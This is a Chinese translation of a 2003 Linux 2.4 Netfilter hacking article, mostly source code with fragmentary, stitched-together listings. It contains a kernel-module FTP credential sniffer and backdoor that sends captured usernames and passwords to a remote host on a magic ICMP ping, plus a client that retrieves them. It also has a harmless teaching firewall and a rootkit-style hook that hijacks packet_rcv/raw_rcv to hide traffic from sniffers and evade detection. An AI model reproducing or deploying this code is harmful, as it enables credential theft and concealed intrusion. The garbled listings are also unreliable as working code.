看起来好像是我很喜欢深入到诸如Linux的数据包处理以及事件的发生以及跟踪每一个Netfilter hook这样的血淋淋的细节中,事实并非如此!原因很简单,Harald Welte已经写了一篇关于这个话题的优秀的文章——《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的关于Linux数据包处理的内容,我强烈推荐你去拜读这篇文章。现在,仅需要理解:当数据包游历Linux内核的网络堆栈时,它穿过了几个hook点,在这里,数据包可以被分析并且选择是保留还是丢弃,这些hook点就是Netfilter hook。
static int check_ip_packet(struct sk_buff *skb) { /* We don't want any NULL pointers in the chain to * the IP header. */ if (!skb )return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { return NF_DROP; }
<++> nfsniff/nfsniff.c /* Simple proof-of-concept for kernel-based FTP password sniffer. * A captured Username and Password pair are sent to a remote host * when that host sends a specially formatted ICMP packet. Here we * shall use an ICMP_ECHO packet whose code field is set to 0x5B * *AND* the packet has enough * space after the headers to fit a 4-byte IP address and the * username and password fields which are a max. of 15 characters * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
/* THESE values are used to keep the USERname and PASSword until * they are queried. Only one USER/PASS pair will be held at one * time and will be cleared once queried. */ static char *username = NULL; static char *password = NULL; static int have_pair = 0; /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the * same IP address and TCP port. */ static unsigned int target_ip = 0; static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */ struct nf_hook_ops pre_hook; /* Incoming */ struct nf_hook_ops post_hook; /* Outgoing */
/* Function that looks at an sk_buff that is known to be an FTP packet. * Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields */ static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0;
/* Now, if we have a username already, then we have a target_ip. * Make sure that this packet is destined for the same host. */ if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return;
/* Now try to see if this is a USER or PASS packet */ if (strncmp(data, "USER ", 5) == 0) { /* Username */ data += 5;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = '\0'; /* NULL terminate */ } else if (strncmp(data, "QUIT", 4) == 0) { /* Quit command received. If we have a username but no password, * clear the username and reset everything */ if (have_pair) return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0;
return; } } else { return; }
if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source;
if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ // if (have_pair) // printk("Have password pair! U: %s P: %s\n", username, password); }
/* Function called as the POST_ROUTING (last) hook. It will check for * FTP traffic then search that traffic for USER and PASS commands. */ static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp;
/* Make sure this is a TCP packet first */ if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; /* Nope, not TCP */
/* Now check to see if it's an FTP packet */ if (tcp->dest != htons(21)) return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) check_ftp(sb);
/* We are finished with the packet, let it go on its way */ return NF_ACCEPT; }
/* Procedure that watches incoming ICMP traffic for the "Magic" packet. * When that is received, we tweak the skb structure to send a reply * back to the requesting host and tell Netfilter that we stole the * packet. */ static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */
/* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT;
/* Is this an ICMP packet? */ if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT;
/* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; }
/* Okay, matches our checks for "Magicness", now we fiddle with * the sk_buff to insert the IP address, and username/password pair, * swap IP source and destination addresses and ethernet addresses * if necessary and then transmit the packet from here and tell * Netfilter we stole it. Phew... */ taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) { case ARPHRD_PPP: /* No fiddling needs doing */ break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN];
/* Move the data pointer to point to the link layer header */ sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
break; } };
/* Now copy the IP address, then Username, then password into packet */ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to. * Fingers crossed... */ dev_queue_xmit(sb);
/* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0;
if (password) kfree(password); if (username) kfree(username); } <-->
------[ 5.2.2 - 源代码 : getpass.c
<++> nfsniff/getpass.c /* getpass.c - simple utility to get username/password pair from * the Netfilter backdoor FTP sniffer. Very kludgy, but effective. * Mostly stripped from my source for InfoPig. * * Written by bioforge - March 2003 */
/* Get a socket */ if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno)); exit(1); }
/* set the HDR_INCL option on the socket */ if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno)); exit(1); }
/* Fill in the IP fields first */ iphead->ip_hl = 5; iphead->ip_v = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id = (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */ icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Checksum-generation function. It appears that PING'ed machines don't * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... * Fair enough I guess. */ static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum;
for(sum = 0;numwords > 0;numwords--) sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16);
return ~sum; } <-->
** 译注:上述两个文件的Makefile:
<++> nfsniff/Makefile #Makefile #
CFLAGS=-Wall LIBS=-L/usr/lib -lc # Change include directory for your kernel MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include MODULE_CFLAGS+=$(CFLAGS) EXECUTE_CFLAGS=-ggdb EXECUTE_CFLAGS+=$(CFLAGS)
<++> lwfw/lwfw.c /* Light-weight Fire Wall. Simple firewall utility based on * Netfilter for 2.4. Designed for educational purposes. * * Written by bioforge - March 2003. */
/* Local function prototypes */ static int set_if_rule(char *name); static int set_ip_rule(unsigned int ip); static int set_port_rule(unsigned short port); static int check_ip_packet(struct sk_buff *skb); static int check_tcp_packet(struct sk_buff *skb); static int copy_stats(struct lwfw_stats *statbuff);
/* Some function prototypes to be used by lwfw_fops below. */ static int lwfw_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg); static int lwfw_open(struct inode *inode, struct file *file); static int lwfw_release(struct inode *inode, struct file *file);
/* Various flags used by the module */ /* This flag makes sure that only one instance of the lwfw device * can be in use at any one time. */ static int lwfw_ctrl_in_use = 0;
/* This flag marks whether LWFW should actually attempt rule checking. * If this is zero then LWFW automatically allows all packets. */ static int active = 0;
/* Specifies options for the LWFW module */ static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE | LWFW_IP_DENY_ACTIVE | LWFW_PORT_DENY_ACTIVE);
static int major = 0; /* Control device major number */
/* This struct will describe our hook procedure. */ struct nf_hook_ops nfkiller;
/* Actual rule 'definitions'. */ /* TODO: One day LWFW might actually support many simultaneous rules. * Just as soon as I figure out the list_head mechanism... */ static char *deny_if = NULL; /* Interface to deny */ static unsigned int deny_ip = 0x00000000; /* IP address to deny */ static unsigned short deny_port = 0x0000; /* TCP port to deny */
/* * This is the interface device's file_operations structure */ struct file_operations lwfw_fops = { NULL, NULL, NULL, NULL, NULL, NULL, lwfw_ioctl, NULL, lwfw_open, NULL, lwfw_release, NULL /* Will be NULL'ed from here... */ };
MODULE_AUTHOR("bioforge"); MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");
/* * This is the function that will be called by the hook */ unsigned int lwfw_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { unsigned int ret = NF_ACCEPT;
/* If LWFW is not currently active, immediately return ACCEPT */ if (!active) return NF_ACCEPT;
lwfw_statistics.total_seen++;
/* Check the interface rule first */ if (deny_if && DENY_IF_ACTIVE) { if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */ lwfw_statistics.if_dropped++; lwfw_statistics.total_dropped++; return NF_DROP; } }
/* Check the IP address rule */ if (deny_ip && DENY_IP_ACTIVE) { ret = check_ip_packet(*skb); if (ret != NF_ACCEPT) return ret; }
/* Finally, check the TCP port rule */ if (deny_port && DENY_PORT_ACTIVE) { ret = check_tcp_packet(*skb); if (ret != NF_ACCEPT) return ret; }
return NF_ACCEPT; /* We are happy to keep the packet */ }
/* Function to copy the LWFW statistics to a userspace buffer */ static int copy_stats(struct lwfw_stats *statbuff) { NULL_CHECK(statbuff);
/* Function that compares a received TCP packet's destination port * with the port specified in the Port Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. */ static int check_tcp_packet(struct sk_buff *skb) { /* Seperately defined pointers to header structures are used * to access the TCP fields because it seems that the so-called * transport header from skb is the same as its network header TCP packets. * If you don't believe me then print the addresses of skb->nh.iph * and skb->h.th. * It would have been nicer if the network header only was IP and * the transport header was TCP but what can you do? */ struct tcphdr *thead;
/* We don't want any NULL pointers in the chain to the TCP header. */ if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
/* Be sure this is a TCP packet first */ if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; }
/* Now check the destination port */ if ((thead->dest) == deny_port) { /* Update statistics */ lwfw_statistics.total_dropped++; lwfw_statistics.tcp_dropped++;
return NF_DROP; }
return NF_ACCEPT; }
/* Function that compares a received IPv4 packet's source address * with the address specified in the IP Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. */ static int check_ip_packet(struct sk_buff *skb) { /* We don't want any NULL pointers in the chain to the IP header. */ if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */ lwfw_statistics.ip_dropped++; /* Update the statistics */ lwfw_statistics.total_dropped++;
return NF_DROP; }
return NF_ACCEPT; }
static int set_if_rule(char *name) { int ret = 0; char *if_dup; /* Duplicate interface */
/* Make sure the name is non-null */ NULL_CHECK(name);
/* Free any previously saved interface name */ if (deny_if) { kfree(deny_if); deny_if = NULL; }
deny_if = if_dup; lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */ printk("LWFW: Set to deny from interface: %s\n", deny_if);
return ret; }
static int set_ip_rule(unsigned int ip) { deny_ip = ip; lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */
printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n", ip & 0x000000FF, (ip & 0x0000FF00) >> 8, (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
return 0; }
static int set_port_rule(unsigned short port) { deny_port = port; lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */
printk("LWFW: Set to deny for TCP port: %d\n", ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
return 0; }
/*********************************************/ /* * File operations functions for control device */ static int lwfw_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) { int ret = 0;
switch (cmd) { case LWFW_GET_VERS: return LWFW_VERS; case LWFW_ACTIVATE: { active = 1; printk("LWFW: Activated.\n"); if (!deny_if && !deny_ip && !deny_port) { printk("LWFW: No deny options set.\n"); } break; } case LWFW_DEACTIVATE: { active ^= active; printk("LWFW: Deactivated.\n"); break; } case LWFW_GET_STATS: { ret = copy_stats((struct lwfw_stats *)arg); break; } case LWFW_DENY_IF: { ret = set_if_rule((char *)arg); break; } case LWFW_DENY_IP: { ret = set_ip_rule((unsigned int)arg); break; } case LWFW_DENY_PORT: { ret = set_port_rule((unsigned short)arg); break; } default: ret = -EBADRQC; };
return ret; }
/* Called whenever open() is called on the device file */ static int lwfw_open(struct inode *inode, struct file *file) { if (lwfw_ctrl_in_use) { return -EBUSY; } else { MOD_INC_USE_COUNT; lwfw_ctrl_in_use++; return 0; } return 0; }
/* Called whenever close() is called on the device file */ static int lwfw_release(struct inode *inode, struct file *file) { lwfw_ctrl_in_use ^= lwfw_ctrl_in_use; MOD_DEC_USE_COUNT; return 0; }
/*********************************************/ /* * Module initialisation and cleanup follow... */ int init_module() { /* Register the control device, /dev/lwfw */ SET_MODULE_OWNER(&lwfw_fops);
/* Attempt to register the LWFW control device */ if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME, &lwfw_fops)) < 0) { printk("LWFW: Failed registering control device!\n"); printk("LWFW: Module installation aborted.\n"); return major; }
/* Make sure the usage marker for the control device is cleared */ lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
printk("\nLWFW: Control device successfully registered.\n");
/* Now register the network hooks */ nfkiller.hook = lwfw_hookfn; nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */ nfkiller.pf = PF_INET; /* IPV4 protocol hook */ nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */
/* And register... */ nf_register_hook(&nfkiller);
/* Now unregister control device */ if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) { printk("LWFW: Removal of module failed!\n"); }
/* If anything was allocated for the deny rules, free it here */ if (deny_if) kfree(deny_if);
printk("LWFW: Removal of module successful.\n"); } <-->
----[ A.3 - 头文件 : lwfw.h
<++> lwfw/lwfw.h /* Include file for the Light-weight Fire Wall LKM. * * A very simple Netfilter module that drops backets based on either * their incoming interface or source IP address. * * Written by bioforge - March 2003 */
/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code. * Userspace code has no business knowing about it. */ # define LWFW_NAME "lwfw"
/* Version of LWFW */ # define LWFW_VERS 0x0001 /* 0.1 */
/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will * print anything with printk(). This is included for debugging purposes. */ #define LWFW_TALKATIVE
/* These are the IOCTL codes used for the control device */ #define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */ #define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */ #define LWFW_ACTIVATE 0xFEED0002 #define LWFW_DEACTIVATE 0xFEED0003 #define LWFW_GET_STATS 0xFEED0004 #define LWFW_DENY_IF 0xFEED0005 #define LWFW_DENY_IP 0xFEED0006 #define LWFW_DENY_PORT 0xFEED0007
/* Statistics structure for LWFW. * Note that whenever a rule's condition is changed the related * xxx_dropped field is reset. */ struct lwfw_stats { unsigned int if_dropped; /* Packets dropped by interface rule */ unsigned int ip_dropped; /* Packets dropped by IP addr. rule */ unsigned int tcp_dropped; /* Packets dropped by TCP port rule */ unsigned long total_dropped; /* Total packets dropped */ unsigned long total_seen; /* Total packets seen by filter */ };
/* * From here on is used solely for the actual kernel module */ #ifdef __KERNEL__ # define LWFW_MAJOR 241 /* This exists in the experimental range */
/* This macro is used to prevent dereferencing of NULL pointers. If * a pointer argument is NULL, this will return -EINVAL */ #define NULL_CHECK(ptr) \ if ((ptr) == NULL) return -EINVAL
<++> pcaphide/pcap_block.c /* Kernel hack that will hijack the packet_rcv() function * which is used to pass packets to Libpcap applications * that use PACKET sockets. Also hijacks the raw_rcv() * function. This is used to pass packets to applications * that open RAW sockets. * * Written by bioforge - 30th June, 2003 */
#define MODULE #define __KERNEL__
#include #include #include #include #include #include #include /* For struct ip */ #include /* For ETH_P_IP */
#include /* For PAGE_OFFSET */
/* * IP address to hide 127.0.0.1 in NBO for Intel */ #define IP htonl(0x7F000001)
/* Function pointer for original packet_rcv() */ static int (*pr)(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt); MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */
/* Function pointer for original raw_rcv() */ static int (*rr)(struct sock *sk, struct sk_buff *skb); MODULE_PARM(rr, "i");
/* Spinlock used for the parts where we un/hijack packet_rcv() */ static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;
/* Helper macros for use with the Hijack spinlock */ #define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \ sl_flags) #define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \ sl_flags)
#define CODESIZE 10 /* Original and hijack code buffers. * Note that the hijack code also provides 3 additional * bytes ( inc eax; nop; dec eax ) to try and throw * simple hijack detection techniques that just look for * a move and a jump. */ /* For packet_rcv() */ static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00" "\x40\x90\x48" "\xff\xe0"; static unsigned char pr_orig[CODESIZE];
/* Replacement for packet_rcv(). This is currently setup to hide * all packets with a source or destination IP address that we * specify. */ int hacked_pr(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) { int sl_flags; /* Flags for spinlock */ int retval;
/* Check if this is an IP packet going to or coming from our * hidden IP address. */ if (skb->protocol == htons(ETH_P_IP)) /* IP packet */ if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP) return 0; /* Ignore this packet */
/* Replacement for raw_rcv(). This is currently setup to hide * all packets with a source or destination IP address that we * specify. */ int hacked_rr(struct sock *sock, struct sk_buff *skb) { int sl_flags; /* Flags for spinlock */ int retval;
/* Check if this is an IP packet going to or coming from our * hidden IP address. */ if (skb->protocol == htons(ETH_P_IP)) /* IP packet */ if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP) return 0; /* Ignore this packet */
int init_module() { int sl_flags; /* Flags for spinlock */
/* pr & rr set as module parameters. If zero or < PAGE_OFFSET * (which we treat as the lower bound of kernel memory), then * we will not install the hacks. */ if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) { printk("Address for packet_rcv() not valid! (%08x)\n", (int)pr); return -1; } if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) { printk("Address for raw_rcv() not valid! (%08x)\n", (int)rr); return -1; }
*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr; *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
[3] My network tools page - ~zzoklan/software/#net_tools [4] Silvio Cesare's Kernel Function Hijacking article
[5] Man pages for: - raw (7) - packet (7) - tcpdump (1) [6] Linux kernel source files. In particular: - net/packet/af_packet.c (for packet_rcv()) - net/ipv4/raw.c (for raw_rcv()) - net/core/dev.c - net/ipv4/netfilter/* [7] Harald Welte's Journey of a packet through the Linux 2.4 network stack